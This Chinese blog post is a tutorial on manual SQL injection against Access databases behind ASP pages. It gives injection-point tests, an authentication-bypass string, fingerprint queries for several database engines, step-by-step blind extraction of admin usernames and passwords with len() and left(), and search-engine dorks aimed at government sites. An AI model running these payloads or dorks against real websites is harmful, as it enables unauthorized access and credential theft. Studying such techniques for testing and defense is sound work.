网络渗透攻击与深度防御-手工注入Access

手工注入Access

1.远程溢出的时代一去不复返

2.windows的AutomaticUpdate服务也会在第一时间打好补丁(不包括0day和第三方软件漏洞)

注入成因

程序对用户输入的字符没有进行过滤

判断注入点

url后面必须有参数传递:如www.sina.com/a.asp?id=1

and 1=1 返回正常

and 1=2 返回错误,则该处存在注入

基于时间的注入:

1.逻辑与 and,A and B,如果A为假,则不再对B是否为真进行判断,直接返回假;

2.逻辑或 or,A or B,如果A为真,则不在对B是否为真进行判断,直接返回真。

利用上面两条,可以进行基于时间的SQL注入

万能口令

'or'='or',一般的用户查询口令是 select * from admin where username =''or'='or'' password ='111111',原来的是username=真实的用户名,password是真实的用户名。

判断数据库类型

加'实现让数据库报错; and (select count(*) form 数据库的独有表名)>0

access独有表:mssysobjects

mssql独有表:sysobjects

mysql独有表:infomation_schema.tables

oracle独有表:sys.user_tables

手工注入Access

一 判断表名:admin,user,userinfo

and (select count() from admin)>0,如果返回正常,说明表存在;若返回不正常,则继续猜表名

二 判断列名:user,pass;username,password;admin_uesr,admin_pwd

and (select count(admin_user) from admin)>0,第一步猜出表名后,只要把里面的
换成列名就可以了,返回正常,则说明有这个列(列可以参照上面的列名)

三 判断长度:len(admin_user)>4,若len(admin_user)>4返回正常,len(admin_user)>5返回错误,则长度为5

and (select len(admin_user) from admin)>4

四 判断值:left(admin_user,1)='a'#表示猜左边起的前一个值是否等于a,如果页面返回正常,则表示猜解正确。

left(admin_user,2)='ab'#表示猜左边起的前二个值是否等于ab

left(admin_user,3)='abm'#表示猜左边起的前三个值是否等于abm

left(admin_user,4)='abmi'#表示猜左边起的前四个值是否等于abmi

left(admin_user,5)='admin'#表示猜左边起的前五个值是否等于admin

以上步骤就是猜解admin的过程

and (select left(admin_uesr,1) from admin)='a',注意是在admin_uesr表里面猜

五 自动化工具:domain,啊D等

六 google:inurl:.gov asp+id

baidu:inurl:asp?id= #注意百度不支持加号

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 姓名:于川皓 学号:16140210089 转载自:https://baike.baidu.com/item/sq...
    道无涯_cc76阅读 1,976评论 0 2
  • [SQL注入攻击] SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式...
    James黄杰阅读 2,710评论 0 30
  • 手工注入MSSQL 越高级的数据库越比较好注入,因为支持的函数多,字典表里面也能读到库名,不论你起多么不常见的库名...
    xatu2007阅读 483评论 0 2
  • 手工: 第一种 1.判断输入框是否存在注入 直接输入一个 '看是否报错(如果存在盲注的话也是不会报错的),如果直接...
    查无此人asdasd阅读 11,541评论 0 6
  • 1.判断是否有注入 ;and 1=1 ;and 1=2 2.初步判断是否是mssql ;and user>0 3....
    钦玄阅读 1,243评论 0 5